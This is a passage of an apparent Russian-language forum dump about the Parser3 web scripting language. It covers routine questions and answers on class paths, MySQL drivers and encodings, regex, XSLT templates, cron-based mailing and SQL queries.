[/code]\
\
Файл Lib.p находится в том же каталоге.\
\
При загрузке страницы получаю ошибку:\
[quote]<url>: 'Lib.p' usage failed - no $MAIN:CLASS_PATH were specified [parser.runtime][/quote]"
"68906","Здравствуйте!\
Поставил себе задачку: посчитать глубину вложенности для ури в исходной таблице, вложить это условие в новую таблицу. Порывшись в форуме отмучал следующее:\
\
[code]\
@get_table[table]\
\
$result[^table::create{id	uri	depth}]\
\
^table.menu{\
	^result.append{$table.id	$table.uri	^depth[]}\
}\
\
\
@depth[][depth]\
\
$uri[$table.uri]\
$trim_uri[^uri.trim[both;/]]\
$count[^trim_uri.split[/]]\
$depth[$parts][/code]\
\
Данная конструкция не работает (и мой мозг судя по всему тоже), подскажите пожалуйста в чем ошибка."
"68907","@USE\
/путь до либ п от корня сайта/Lib.p\
\
к примеру: /libs/Lib.p\
\
так же советую проверить в этих классах всевозможные подгрузки дочерних классов через ^use\
\
там тоже могут быть несостыковочки с путями."
"68908","Оказывается, всего-то надо было добавить / перед Lib.p (файл находится в корневом каталоге)."
"68909","При выполнении SQL-запроса выдаётся ошибка:\
[quote]$SQL:drivers table must be defined[/quote]\
\
Означает ли это, что в обязательно порядке надо создавать таблицу SQL-драйверов? Что она должна содержать?\
\
Пока у меня лишь задана строка соединения (в auto.p):\
[code]$connect_string[mysql://...][/code]\
а также лежит файлик libparser3mysql.so в каталоге lib.\
\
Почитал документацию и примеры, но ясности в голове не прибавилось. Буду благодарен за подсказку."
"68912","взято из примеров с маленькой правкой:\
[code]$str[http://www.parser.ru/forum/] \
$mtc[^str.match[(/[^^/]+)][']]\
^mtc.save[/match.txt][/code]\
В этом случае у вас будет таблица с разделёнными по столбцам совпадениями, посчитать их не составит труда.\
Однако если вам не нужны обрывки пути, а нужна именно цифра вложенности, тут ещё проще:\
[code]$str[http://www.parser.ru/forum/] \
$mtc[^str.match[(/[^^/]+)][n]]\
[/code]\
$mtc вернёт 2"
"68915","http://www.parser.ru/docs/lang/?app1pathclass.htm"
"68916","- хранить Lib.p в document_root\
- использовать полное указание путей в классах\
\
прочитайте про CLASS_PATH и загляните в FAQ, там эта, и подобные ошибки уже описаны."
"68917","Вчера не получилось. выкладываю сегодня.\
В архиве лог, исполняемый файл и бинарный файл.\
Ошибка в логе есть, но не знаю, что за ошибка.\
\
http://filebeam.com/8353d6898bf060861e24970e3c7cd6f8"
"68918","если это самоцель, то другого варианта, кроме как создать новую пустую таблицу и построчно поместить в неё новые данные нет.\
\
однако для вашего случая, я бы оставил исходную таблицу как есть, а создал бы хеш с дополнительной информацией, в которую поместил бы depth. ключами этого хеша могли бы быть id или uri (т.к. в вашей задаче uri должны быть уникальны).\
\
понятно, что метод, выводящий данные (или что-то делающий с ними), должен будет получать две структуры, что иногда может быть менее удобно и даже потребует изменять его API (он должен будет получать ещё один параметр). зато это более гибко, т.к. в хеше можно будет хранить не только строки."
"68921","@main[][fFile;sText]\
^connect[mysql://user:password@localhost/test?charset=cp1251]{\
^if(-f \"1.file\"){\
$fFile[^file::load[binary;1.file]]\
$sText[^string:sql{\
SELECT HEX('^fFile.sql-string[]') AS `hex`^;\
}]\
}\
}"
"68922","Нужно отладить SQL-запрос. Начните с простых запросов, которые не вызовут ошибок, и у постепенно усложняйте, наткнетесь на свою."
"68923","Скорее всего нужно поиграться с taint"
"68924","Выложил код.\
Некоторые файлы обрабатываются нормально, а этот - нет."
"68926","Метод sql-string[] автоматически приводит содержимое файла к формату SQL.\
Возможно, проблема в ^string:sql, и надо использовать ^table::sql\
\
Какие еще идеи?"
"68927","вы разве не увидели ошибку SQL сервера [url=\"http://dev.mysql.com/doc/refman/5.0/en/gone-away.html\"]SQL Server gone away[/url]?\
\
почитали про неё на сайте mysql?\
\
вы выполняете запрос, передавая более пол мегабайта в качестве параметра функции hex, mysql сервер ругается (я не вникал в причины ругани), далее парсер выводя сообщение об ошибке начинает выдавать сформированный вами запрос в output, отсюда писки компа т другие следствия.\
\
собственно раздирайтесь с причинами, почему sql запрос не выполняется, но по мне, выбранный вами метод -- очень нехороший. если вдруг не можете это преобразование сделать парсером (зачем конкретно вам это вы не говорите) -- вызовите perl-овый скрипт из нескольких строчек, он подобное наверняка сделает быстрее."
"68928","Ошибки SQL Server gone away не было, сервер MySQL не падал.\
Файлы большего объема обрабатывались нормально.\
\
Зачем это все надо: есть бинарный файл, из которого надо достать информацию. Я сначала открываю файл в 16-чном виде и изучаю структуру, потом пишу скрипт для получения данных.\
\
Все сводится к тому, что мне надо получить содержимое бинарного файла в НЕХ-виде.\
\
Какими способами на парсере это можно сделать?"
"68929","смысл задачи в составлении специального файлового кеша для формирования меню.\
\
задача добавить поле, в котором будет указан уровень вложенности (для описания див блоков в админпанели);\
формат ури: /one/two/\
\
попробовал сделать хеш, ничего не выходит из этого, новые поля не добавляются:\
\
[code]@get_structure[table]\
\
$table_hash[^table.hash[id]]\
\
$result[^table::create{ id	uri	depth }]\
\
\
\
^table.menu{\
	^result.append{$table.id	$table.uri	^depth[{$table.id]}\
}\
\
\
@depth[id][depth]\
\
$depth[$table_hash.[$id].$depth]\
\
#передаем ури в обработку\
$src_uri[$table.uri]\
$trim_src[^src_uri.trim[both;/]]\
$parts[^trim_src.split[/]]\
$depth[$parts][/code]\
\
мозг уже вырублися, идеи закончились."
"68931","[quot]\
есть бинарный файл, из которого надо достать информацию.\
[/quot]\
\
а вы отдаёте себе отчет, что при использовании вашего способа \"бинарный файл\" проходит через конвертации кодировок (?charset=xyz -- перекодирует mysql, ?ClientCharset=xyz -- перекодирует парсер)? \
\
что при этом происходит для произвольного набора байтов -- никому не известно."
"68932","Михаил, спасибо за ответы! \
У меня то стоит задача добавления т.к. я не хочу чтобы при выводе контента происходили какието операции над полями табличной части, понятно что я могу генерить вывод через menu и добавлять там необходимые поля, но задача именно в том чтобы создать исходную таблицу с этими параметрами. Понять как заливать измененные данные в ячейку я пока не могу. Буду признателен если поможете мне с этой задачкой. Просто нужен пример. Загрузка модифицированных данных в новый табличный массив для меня пока загадка."
"68933","[quote]что при этом происходит для произвольного набора байтов -- никому не известно[/quote]\
\
Мне известно.\
Файл в UTF8, коннект к базе в CP1251 - при таком раскладе получаем правильный НЕХ-код (сравнивал с результатами просмотра в 16-ной системе различными программами).\
\
Вопрос в другом: есть ли способы обойти ошибку или получить правильный НЕХ-код бинарного файла?"
"68934","Пытаюсь изучать написание сайтов на Парсере, подскажите чем пользоваться можно кроме текстового редактора :) Заранее спасибо!"
"68935","UltraEdit \
хотя я юзаю Eclipse + Colorer Plugin"
"68938","Far+Colorer+Autocomplete"
"68940","Пробовал через ^table::sql, но тоже не помогло.\
\
Решаема ли такая задача на парсере или он не в состоянии это сделать?"
"68941","Опишите задачу с нуля, подробно и пошагово.\
Я лишь понял, что нужно получать hex-dump файла под виндой.\
Что с этим hex'ом нужно делать?"
"68943","Дано: двоичный файл с данными.\
Задача: получить данные в виде текста и цифр.\
\
[b]Проблема: получить НЕХ-данные двоичного файла.[/b]\
\
Если я смогу без ошибок получать НЕХ-данные двоичного файла, то задача решается просто, т.к. алгоритм получения данных из НЕХ-данных я написал.\
Некоторые файлы обрабатываются без ошибок, на некоторых получается подобная ошибка."
"68944","Поскольку для этой задачи парсер является лишь обработчиком данных, а не веб-приложением, то скорость работы особо не важна, поэтому всё просто:\
 - ищется любой консольный hex-конвертер (такие точно должны быть)\
 - методом ^file::exec[] вызывается шел-скрипт (для win платформы это будет .bat файл) из одной строчки: converter.exe file [i](это выдуманные имена)[/i], который вернёт готовый hex-формат данных\
 - всё. Дальше работает ваш алгоритм.\
\
Имя файла можно передавать аргументом из парсера, про это описано в доке.\
\
Подробнее пояснять надо?\
\
Конвертация через sql явно лишняя со всеми вытекающими проблемами."
"68945","Ошибся, .bat будет из двух строчек, первой мы выключим вывод используемых команд:\
@echo off\
converter.exe file"
"68946","Этот способ я знаю.\
\
Меня интересует, можно ли такое сделать средствами парсера."
"68947","Всем привет.\
\
Делаю галерею. Принцип таков - на сервер загружаются картинки + превью(ранее созданное). При нажатии на превью должна открываться страница с несколькими картинками. На странице галлереи таких превью несколько.\
\
Т.е. предположим, что каталог галереи у нас /galery/ . Этот каталог создан изначально и не изменяется. \
В каталоге /galery/ создается папка photosession01 в нее кидаются фотографии.\
При заходе по адресу http://127.0.0.1/galery/ должна выводиться превью, щелкнув по которой мы попадаем на отдельную страницу с множеством фотографий — http://127.0.0.1/galery/photosession01/\
\
Загвоздка в том, что таких папок, и подпапок будет много, т.е. задачу надо довести до автоматизма, или, хотя бы, полуавтоматизма.\
\
Как это лучше реализовать? Может быть есть какие-то варианты автоматического формирования списка файлов из папки photosession01 и вывод их на отдельную страницу?\
Или может можно реализовать, используя БД? Тогда как это логически построить?\
Второй день сижу и что-то не могу дойти..\
\
Благодарю за ответы!"
"68948","хм, а в доку глянуть? \
с помощью file::list можно получить список файлов. но лучше хранить информацию в БД, т.к. наверняка вы потом захотите скрывать что-то."
"68950","Можно было бы добавить символ для принудительной обработки кода парсером, пара примров:\
[code]\
$t[>]\
^if(2 ${t} 1){YES}{NO}\
--------\
^db{$tmp_b[^table::sql{SELECT * FROM `b`}]}\
^db{$t_b[^table::sql{SELECT `id`, `name`, `sys_name` FROM `b`}]}\
^t_b.sort($tmp_b.id)\
^tmp_b.sort{$tmp_b.name}\
^tmp_b.menu{\
$sn[$tmp_b.sys_name]\
$ss[$cos.b_$sn]\
$z[^t_b.select($t_b.id==$tmp_b.need_b)]\
$sz[$z.sys_name]\
^if($ss>=$cos.b_$sz){...}\
}[/code]\
в первом случае не обрабатывается $t, сильно наворачивается конструкция кода :(\
во втрором, в ^if не правильно работает даже $ss>=$cos.b_$z.sys_name - приходиться гонять по переменным\
Parser 3.3.0\
$t_b[$tmp_b] - не работает, по этому требуется делать повторный запрос к бд\
Неплохо было бы реализовать, для предостовления большей гибкости языку"
"68951","Линукс Мандрива 2009.\
Были скачаны библиотеки с http://www.parser.ru/download/redhat/ для RedHat.\
Собственно Парсер работает. А вот запросы не выполняет, дает Unhandled Exception. Логи такие.\
\
[code]\
'/var/www/cgi-bin/parser3/lib/libparser3mysql.so'\
driver failed to initialize client library 'libmysqlclient.so',\
libmysqlclient.so: cannot open shared object file:\
No such file or directory [<no type>]\
[uri=/, method=POST, cl=38],\
[/code]\
\
Я правильно понимаю, что у меня libparser3mysql.so не подходит к версии linux?\
И тогда где взять правильную? Для себя не нашел ничего похожего :("
"68952","У меня в PSPad уже она есть встроенная, только ее надо было включить. Собственно включил и работаю"
"68953","1. для таких вещей лучше написать пользовательский оператор, в котором через ^switch[]{} реализовать все необходимые варианты сравнений.\
\
2. внимательно прочитать [url=\"http://www.parser.ru/faq/lang/\"]FAQ[/url]."
"68955","Нет, тут не найдена либа \"libmysqlclient.so\", вероятно в вашей версии linux она называется чуть иначе. Поищите ее и в основном конфиге парсера пропишите путь к ней в секции драйверов sql"
"68956","Извините, чайник полный. Поиск по диску дал вот что:\
\
/usr/lib/libmysqlclient_r.so.15\
/usr/lib/libmysqlclient_r.so.15.0.0\
/usr/lib/libmysqlclient.so.15\
/usr/lib/libmysqlclient.so.15.0.0\
/usr/lib/ooo-3.0/basis3.0/program/libmysql2.so"
"68957","Найденные библиотеки почему-то не вытягивают русский текст нормально - вижу вопросики. В phpmyadmin все норм."
"68958","Я бы первым делом попробовал \"/usr/lib/libmysqlclient.so.15\"\
\
Если в phpmyadmin нормально - значит кодировочка шалит. В какой кодировке у вас база и достающий скрипт?"
"68959","Я тут общаюсь сам с собой )))\
В операторе connect пришлось влепить ?charset=cp1251\
только тогда заработало."
"68963","1 - Ни\
[code]^process{\
$t[>]\
^if(2 $t 1){YES}{NO}\
}[/code]\
Ни[code]\
$t[>]\
^if(2 ^process{$t} 1){YES}{NO}[/code]\
не даёт нужного результата, толко ошибки :(\
2 - [code]$cos.b_$tmp_b.sys_name>=$cos.b_$z.sys_name[/code] в теле условия ^if не работает и \"{}\" не помагают, никак :(\
P.S. С таблицами разобрался, действительно FAQ :)"
"68964","У меня есть всего 2 возможных условия > или >=, из-за этого приходится создавать условия, без разницы if или switch.\
Если бы можно было использовать переменную в условии, то не нужно писать лишнего кода вообще, а это - меньше кода в объёме (что следовательно быстрее работает) и повышение гибкости языка - оптимизация.\
Конкретизируйте пожалуйста Вашу ссылку в FAQ! огромная просьба!"
"68965","Неплох PSPad, если учесть спецификацию, то даже лучше notepad++\
Под unix-like использую Quanta, там легко самому создать подсветку"
"68966","1.\
[code]$t[>]\
^process{\
	^^if(2 ^$t 1){YES}{NO}\
}[/code]\
\
но вы неверно понимаете, что меньше кода == быстрее работает.\
такой подход работает медленнее if или switch.\
\
\
2. [] (описанные в FAQ и в комментариях к доке), работают в if превосходно. в общем и {} работают, но у них несколько иной смысл, поэтому в вашем случае последние неприменимы."
"68968","Кто сталкивался? Подозреваю, что есть active-x или flash-ка для этого.\
\
Нашел вот что:\
http://p2p.wrox.com/book-professional-javascript-web-developers-isbn-978-0-7645-7908-0/53146-paste-clipboard-image.html\
\
Там ответы что работает! Только не пойму на чем написано? Это бейсик? Как это испольщовать?"
"68969","Ах, вот как оно должно быть...\
В таком варианте, как я понимаю:\
включается дополнительный транслятор (интерпретатор или компилятор)\
тогда, да данный вариант не хорош :(\
2. Ах, вот оно где зарыто! Вы, пожалуйста, в таких случая конкретизируйте, что в комментах, а то офлайновую версию 3 раза перечитал :). Думал, что уже за очками идти :)"
"68970","совсем забыл.\
Спасибо!"
"68971","$zzz[^a.match[(xxx)(.*?^$)][m]{$match.1}]\
Можно-ли использовать $match.2 вне этой сроки, если можно, то как?"
"68975","И посмотреть что и как. Выдает ли какие ошибки."
"68978","но можно, например, так:\
[code]\
$t[^table::create{column}]\
$zzz[^a.match[(xxx)(.*?^$)][m]{$match.1^t.append{$match.2}}]\
$t.column\
[/code]\
\
если вам не нужно производить замену в строке, то:\
[code]\
$t[^a.match[(xxx)(.*?^$)][m]]\
$t.2\
[/code]\
\
или можно делать в два прохода (иногда может быть быстрее всего, не смотря на двойное выполнение regex, однако в случае сложного regex этот метод скорее всего будет медленым):\
[code]\
$sRegex[(xxx)(.*?^$)]\
$t[^a.match[$sRegex][m]]\
$zzz[^a.match[$sRegex][m]{$match.1}]\
$t.2\
[/code]"
"68981","напомните мне пожалуйста, как указать статус ответа, скажем 404?\
$response:status(404)?"
"68982","Что мешает проверить?"
"68983","Честно, лень)\
в браузере отладчика нет, а сниффер удалил"
"68985","$a(3.025)\
^a.format[%.2f]\
\
почему выводит 3.02 а не 3.03\
помоему округление должно идти в большую сторону с 5-кой.."
"68986","все, нашел как округлять. умножаем до целого округляем и делим)"
"68988","А можно ...эээ...получить эту наработку как-нибудь? Очень хочется поставить Parser3 как модуль в Apache2. На Apache 1.3 нету возможности откатиться."
"68991","Лучшее решение для отладки.\
\
и не нужно никаних сниферов ;-)"
"68992","Есть большое желание поставить parser в виде модуля к apache2. Не хотелось бы самому писать поддержку...Нашел такое сообщение на форуме: \
http://www.parser.ru/forum/?id=43411\
Стало быть, такой модуль есть в природе? А можно его как-нибудь получить?"
"68994","[url=\"http://www.parser.ru/forum/?id=68743\"]Раньше[/url] я думал, что пролема в Safe-mode версии. Однако, сегодня скачал последнюю сборку Denwer и обнаружил там тот же баг:\
В XSL не работают переменные. По крайней мере как раньше:\
\
Вызываю шаблон:\
[code]<xsl:apply-templates select=\"//sec_navigation/sections/item[@section = 1]\" mode=\"list-menu\">\
	<xsl:with-param name=\"hit_id\">\
		<xsl:value-of select=\"//sec_navigation/sections/@hit_id\"/>\
	</xsl:with-param>\
</xsl:apply-templates>\
[/code]\
\
Использую переенную:\
[code]<xsl:template match=\"item\" mode=\"list-menu\">\
...\
	<xsl:if test=\"$hit_id = @id\">\
		<xsl:attribute name=\"class\"><xsl:text>cur</xsl:text></xsl:attribute>\
	</xsl:if>\
...\
</xsl:template>[/code]\
\
Раньше все было впорядке, а теперь все время вываливаеться ошибка:\
[b]Variable 'hit_id' has not been declared.[/b].\
\
P/S/ Разобрался\
Вообщем, нужно теперь в шаблоне, в котором используеться переменная ее обозначить:\
[code]<xsl:template match=\"item\" mode=\"list-menu\">\
...\
<xsl:param name=\"hit_id\"/>\
	<xsl:if test=\"$hit_id = @id\">\
		<xsl:attribute name=\"class\"><xsl:text>cur</xsl:text></xsl:attribute>\
	</xsl:if>\
...\
</xsl:template>[/code]\
\
Раньше, без этого проходило, а теперь нет..."
"68995","изменения там совсем небольшие, так что если силы есть, сделайте, пожалуйста, и пришлите Мише?\
\
что удалось найти в архиве я передал Мише, если это еще годится, он опубликует."
"68996","Есть два компьютера: К1 и К2\
На К1 установлен apache swissknife\
При открытии браузером на К2 сетевого адреса К1 получаю 404-ю\
В логе апача\
... [client 192.168.0.2] File does not exist: /apache/htdocs/\
Пожалуйста, помогите исправить ситуацию\
З.Ы. версия 035_small"
"68997","Подскажите в каком направлении двигаться в написании механизма рассылки новостей (где хранить адреса и тп.)"
"68998","Чтобы он выдавал контент при обращении к себе по обычному адресу, нужно подредактировать httpd.conf и заменить \"127.0.0.1\" на IP-адрес в сети (обычно 192.168.1.xxx) или на сетевое имя компьютера."
"68999","1. храню адреса в базе\
2. туда же записываю пиьма, готовые к рассылке\
3. скрипт рассылает их по частям с некоторой периодичностью. при этом сохраняю лог об отправке"
"69001","1. На какое количество адресов рассчитана такая схема?\
2. Отправка скриптом осуществляется в режиме \"реального времени\" или выполняется автоматически?"
"69002","1) очевидно, что на любое\
2) конечно, отправку писем лучше производить \"автоматически\", т.е. порциями по расписанию (тут всё зависит от почтового сервера и его загруженности) с обязательным отмечанием в базе, что на адрес такой-то письмо из рассылки такой-то отправлено тогда-то (чтобы можно было отслеживать прогресс рассылки)"
"69003","[quote][06 декабря 2007] \
\
Версия 3.2.2 будет скомпонована с последними версиями XML библиотек, в которых требуется, чтобы все <xsl:param/> были описаны в самом начале <xsl:template/>, как этого требует xslt спецификация, поэтому следующий код будет вызывать ошибку:\
\
<xsl:template name=\"template-name\">\
	…ваш код…\
	<xsl:param name=\"param-name\"/>\
</xsl:template>\
\
Должно быть так:\
\
<xsl:template name=\"template-name\">\
	<xsl:param name=\"param-name\"/>\
	…ваш код…\
</xsl:template>[/quote]\
\
жаль, раньше вам не ответил ("
"69004","Теперь вижу. Хотя, честно, искал, но видимо, не так...\
Вообщем, то что сам дошел - даже лучше. Хотя, пришлось почти месяц-полтора потерять... к тому-же, теперь придется обновить шаблоны всех сайтов, которые поддерживаю...\
\
Все-равно, спасибо"
"69005","Делаю анализ статистики. Загружаю csv файл с liveinternet.ru. Открываю его как таблицу \
[code]\
$t[^table::load[/csv/1.csv; $.encloser[\"] $.separator[^;]]]\
[/code]\
\
формат файла:\
\
\"16 февраля, понедельник\";\"15 февраля, воскресенье\";\"в среднем в понедельник\";\"в среднем за 7 дней\"\
\"фильмы\";9525;10979;8786;8953\
\"сделка с дьяволом\";2371;2535;637;943\
\"поиск\";2329;2517;1911;2022\
\"kino\";1652;1889;1444;1544\
\"миллионер из трущоб\";1381;1409;1161;1220\
\
\
Как мне пролистать весь файл чтобы залить инфу в MySQL то есть я не могу пройтись ^menu так как название колонок содержат пробелы и запятые и так далее. подскажите пожйлауйста в каком направлении думать или кусочком кода. спасибо."
"69006","при дисконнекте адрес типа 192.168.1.xxx умирает, и, чтобы работать локально, нужно опять править httpd.conf..."
"69008","именно так и загружается. а дальше как получить названия колонок?"
"69009","Колонки можно получить через их порядковые номера\
\
http://www.parser.ru/docs/lang/tableload.htm\
http://www.parser.ru/docs/lang/tablecreate.htm"
"69010","1. либо просим у сисадмина / провайдера фиксированный IP,\
2. либо пользуемся сервисом http://www.dyndns.com/services/dns/dyndns/"
"69011","Использую скроллинг версии Misha v.3\
\
Суть такая, что давно не использую ссылки типа:\
[code]/news/?page=2[/code]\
\
Проблема в том, что не могу настроить для использования:\
[code]/news/page2/[/code]"
"69012","1. Сейчас 30К+ клиентов\
2. Автоматически кроном + вызывается укороченая версия (по 5 сообщений за подход) рендомом (если число от 0 до 1000 делится на 5)на страницах сайта."
"69013","Вставляю PHP код в parser:\
\
[code]$table[^table::create{id\
1\
2\
3}]\
$insertCode[^file::load[text;http://site/someCode.php;\
	$.form[\
	    $.someField[$table]\
	]\
]][/code]\
\
Есть необходимость передать туда (в PHP-скрипт) табличку. Сам в PHP ни буб-бум. Знатоки PHP, подскажите, сможет ли PHP принять таблицу, переданную таким образом?"
"69014","я думал только у меня в кодах такое (из-за частой невозможности пользовать cron)\
ведь это может повлиять на производительность и скорость заргузки/открытия сайта при определнных проблемах с почтой? -)"
"69017","Через POST не получится, мне нужно передать парсеру результат выполнения php-скрипта.\
Вопрос в том есть ли в PHP средства чтобы обработать эти данные как таблицу или массив?"
"69019","чтобы загрузить это в БД (если вы уверены, что вам это нужно там) гораздо лучше воспользоваться функцией MySQL load data infile, а не добавлть данные построчно парсером."
"69020","если вы передаёте в file::load таблицу, то фактически GET запрос оказывается таким:\
\
URL?someField=1&someField=2&someField=3\
\
PHP наверняка умеет получить всё значения someField при подобном запросе, но возможно это не совсем то, что вы хотели."
"69021","Думаю других вариантов кроме совсем не спортивного сохранения таблицы в файл нету. Передаваться будет небольшой объем, так что подойдет. Спасибо."
"69022","э-э-э, варианты есть:\
\
1. сериализовать таблицу, а в принипающем скрипте десериализовать. вариант сериализации стоит выбирать зная, из какого формата в принимающем скрипте будет легче десериализовать. варианты на вскидку:\
- текст с формате cvs\
- xml\
\
2. post данных как файл (в head версии уже реализована такая возможность, благодаря присланному патчу, правда пока с некоторыми ограничениями)\
\
\
кроме того, я не очень понял, как вы собираетесь передать что-то на другой сервер используя сохранение в файле. или это часть того-же сервера? если да, то есть ещё и БД..."
"69023","Подскажите, пожалуйста, как собрать Парсер на платформе PowerPC, Mac OS X Server 10.5? Может у кого-то есть скомпилированная версия?"
"69025","А можно небольшой пример сериализации?\
\
PHP на том же сервере. В БД лезть еще раз не хочется, т.к. все значения из нее уже получены парсером."
"69028","Еще ни разу не использовал cron. Подскажи, в каком направлении двигаться?\
\
Т.е. грубо говоря:\
[code]0 5 * * * /usr/local/cgi-bin/parser3.cgi /home/www/mail.p[/code]"
"69031","В примерах есть класс, который декодирует в джейсона.\
В PHP смотрите - php.net/json"
"69032","Как сделал?"
"69033","Написал правило преобразования mod_rewrite в htaccess'е"
"69034","Кто-нибудь организовывал? Хочется узнать ваш вариант реализации."
"69035","Таблица тэгов, где есть id и название.\
Таблица объектов, к примеру новостей.\
Связная таблица (tags_to_objects), где есть:\
tag_id, object_id, sort_order\
\
И все потом можно делать COUNT(*) для определения кол-ва, а кол-во уже бы влияло на размер шрифта."
"69036","Тегов может быть много, и всех не предусмотреть, вот и хотел организовать это как нибудь без таблицы тегов в свободной форме. Но тогда может образоваться дублирование тегов: \"новости экономики\" или \"экономические новости\"."
"69037","Я делал когда-то в незапамятные времена..\
$tags[^oSql.table{select tag, count(*) as tag_count from tags group by tag order by tag_count desc limit 20}]\
\
Имя тега известно, количество тегов известно.\
Выбираем минимальный размер шрифта, максиальный размер шрифта.\
Количество самого популярного тэга - 100%, самого мелкого - 0%.\
От % находим нужный размер шрифта в заданном промежутке, округляем до целого и готово."
"69038","Не стоит рассчитывать размер шрифта таким образом.\
Может случиться, что количество какого-то тега будет 1000, а всех остальных от 10 до 100 (к примеру). Тогда один будет очень крупный, а все остальные - маленькие и равные по размеру.\
\
Размер надо рассчитывать через натуральный логарифм, тогда какой бы разброс в количестве не был, все размеры будут выглядеть плавным переходом."
"69039","Ну её, эту винду. Пошел юзать фрюху…"
"69041","Вопрос снят, собрал Парсер с опциям:\
--with-shared-gc=$project_directory/gc/lib\" (вместо --with-static-gс)\
--with-dynamic-stdcpp\
\
Опции поправил в файле buildall-with-xml. Все встало,все работет."
"69042","img#sender {\
  background: url('/light_sender.html');\
}\
тогда при проблемах с почтой ничего плохого не произойдет"
"69044","Ситуация следующая: парсер запускает через ^file::exec скрипт, который отрабатывает некорректно, при этом сообщает парсеру, что все OK. \
Мне нужно остановить выполнение кода до обращения к скрипту и посмотреть, что в переменных, передаваемых скрипту в качестве параметров.\
На PHP в аналогичных ситуациях спасает die.\
Нашел древнюю тему на этот счет:\
http://www.parser.ru/forum/?id=1451\
Доставать четки и бубен?"
"69045","То есть на FreeBSD при отключении патча тоже отвалится адрес сетевой карты и умрет localhost, привязанный к этому адресу?"
"69046","зависит исключительно от настроек DHCP-сервера, а никак не клиента и его операционки - будь то Windows, будь то FreeBSD.\
\
Нормальный срок аренды IP-адреса - 48 часов. Если сетевая карточка с тем же самым MAC-адресом скажет серверу \"привет, это снова я\", она получит тот же IP-адрес, что и до \"отключения патча\".\
\
Читаем RFC 2131, ищем слово DHCPREQUEST.\
\
\"Если вы не любите кошек - вы просто не умеете их готовить\""
"69047","У меня везде статика. Впрочем, тема исчерпана. Еще раз спасибо."
"69048","добавляете один if в @unhandled_exception:\
[code]^if($exception.type eq \"die\"){\
	делаете что вам нравится\
}{\
	...\
}[/code]\
\
и ^throw[die;] где хотите...\
\
P.S. и в конфигурационном auto.p пишите свой любимый:\
[code]@die[]\
^throw[die;][/code]"
"69050","помогите пожалуйста сформулировать mysql запрос для составления истории сообщений.\
этот запрос даёт сообщения одного собеседника:\
[code]SELECT id,\
        touserid,\
	tousername,\
	fromuserid,\
	fromusername,\
	message,\
	date,\
	is_read\
FROM	ls_inbox\
WHERE	fromuserid=[b]4[/b]\
AND	touserid=[b]3[/b]\
ORDER BY date DESC[/code]\
\
а этот запрос - сообщения второго собеседника:\
[code]SELECT id,\
        touserid,\
	tousername,\
	fromuserid,\
	fromusername,\
	message,\
	date,\
	is_read\
FROM	ls_inbox\
WHERE	fromuserid=[b]3[/b]\
AND	touserid=[b]4[/b]\
ORDER BY date DESC[/code]\
\
(т.е. разница между этими запросами лишь в том, что поменяны местами цифры 3 и 4)\
\
надо, чтобы эти 2 запроса были как бы в одном целом запросе, чтобы потом можно было парсером вывести (.menu).\
тут наверное можно как-то использовать \"вложенные запросы\", но, читая мануал к mysql, я так и не понял, как в этом случае их применить."
"69051","а хотя сейчас в мануале порылся и нашёл команду UNION.\
вроде помогло с проблемкой! :)\
тема больше не актуальна."
"69053","почти неделю не могу разобраться вчем дело.\
вобщем проблема вот в чем установил клас авторизации, все что нужно подключил, пароль админу ставиться, логиниться. а зарегистрировать номого пользователя не могу, и не получаеться изменить профиль пользователя (админа). только пароль могу ему сменить и больше ничего не получаеться.\
\
искал на форуме, нашел подобную ошибку, у меня тоже самое \
При регистрации нового пользователя возникли следующие проблемы: unknown.\
и тоже самое при обновлении\
\
посмотрел логи. там ошика\
\
/auth.p(674:10): 'Lib' class is undefined \
\
но этот клас у меня подключен и регистр собледен, все проверил, что может быть еще не понимаю ?\
\
контакт то с базой есть, ведь все сессии пишуться и  пароль меняеться."
"69056","вот так проще \
\
[code]SELECT id,\
        touserid,\
	tousername,\
	fromuserid,\
	fromusername,\
	message,\
	date,\
	is_read\
FROM	ls_inbox\
WHERE	fromuserid in (3, 4)\
ORDER BY date DESC[/code]"
"69057","Это дело покажет все отправленные сообщения от пользователей с айди 3,4 кому угодно"
"69058","Приветствую.\
Есть denwer. Нужно установить Parser и чтобы этот зверь работал. Подскажите, пожалуйста, как его поставить на localhost'е?\
Спасибо."
"69059","у меня теперь вот так всё работает:\
[code](SELECT id,\
        touserid,\
	tousername,\
	fromuserid,\
	fromusername,\
	message,\
	date,\
	is_read\
FROM	ls_inbox\
WHERE	fromuserid=4\
AND	touserid=3)\
UNION\
(SELECT id,\
        touserid,\
	tousername,\
	fromuserid,\
	fromusername,\
	message,\
	date,\
	is_read\
FROM	ls_inbox\
WHERE	fromuserid=3\
AND	touserid=4)\
ORDER BY date DESC[/code]\
\
это ведь нормально? или если поставлю\
[code](fromuserid=4 OR fromuserid=3)[/code]\
,то будет то же самое по сути, но меньше кода?"
"69063","Но мне кажется что ваше решение более ресурсоемко. Таки 2 запроса + их объединение.\
То что я предложил - это только хинт, а не полное решение. Полностью там должно быть так\
\
[code]\
...\
(fromuserid=3\
AND	touserid=4)\
OR\
(fromuserid=4\
AND	touserid=3)[/code]"
"69065","т.е. мне кажется, что запрос с UNION (т.е. фактически два запроса) лучше.\
\
НО. правильнее взять и сравнить."
"69068","Это нужно те же таблицы с данными продублировать? или лучше в тих же таблицах добавить поля? А сам шаблон как?\
\
У кого был опыт, поделитесь..."
"69070","Там был. Скажу более, что скачивал этот дистрибутив:\
http://www.denwer.ru/packages/base_parser.html\
Не могу понять, что нужно сделать. Допустим, создаю папку test3.ru. Какие в нее нужно класть файлы от Parser'а (если нужно)?\
Спасибо."
"69072","в техногрете вроде было описание, а в БД - да, просто поле lang и все сильно упрощается"
"69073","http://www.artlebedev.ru/tools/technogrette/xslt/localizing/\
http://www.artlebedev.ru/tools/technogrette/xslt/multilang/"
"69074","В каталог сайта следует класть файлы проекта, а не Парсера.\
Как минимум, это .htaccess, в котором Парсер прописан обработчиком нужных документов.\
\
Если не ошибаюсь, при установке пакета расширения тестовый Парсер-сайт должен создаваться автоматически.\
Сверьтесь с документацией."
"69075","честно говоря не знаю зачем в этом случае могут использоваться индексы."
"69076","Вы бы структуру сайта хоть чуток раскрыли, для более дельных советов.."
"69077","Адрес страницы вида mysite.com/eng/mypage/ разбираю регэкспом на lang (eng) и uri (/mypage/), которые хранятся в соответствующих полях в БД.\
В шаблоне выбираю:\
[code]SELECT ... WHERE uri = '$uri' AND lang = '$lang'[/code]\
При условии, что uri одинаковые у разных языковых версий соответствующих страниц"
"69078","www.interiotex.ru ))"
"69079","5.0.32"
"69080","http://www.interiotex.ru/catalog.html?cat=x2&page=2\
http://www.interiotex.ru/catalog.html?cat=2&page=x2"
"69082","Добрый день!\
\
Есть класс lib.p\
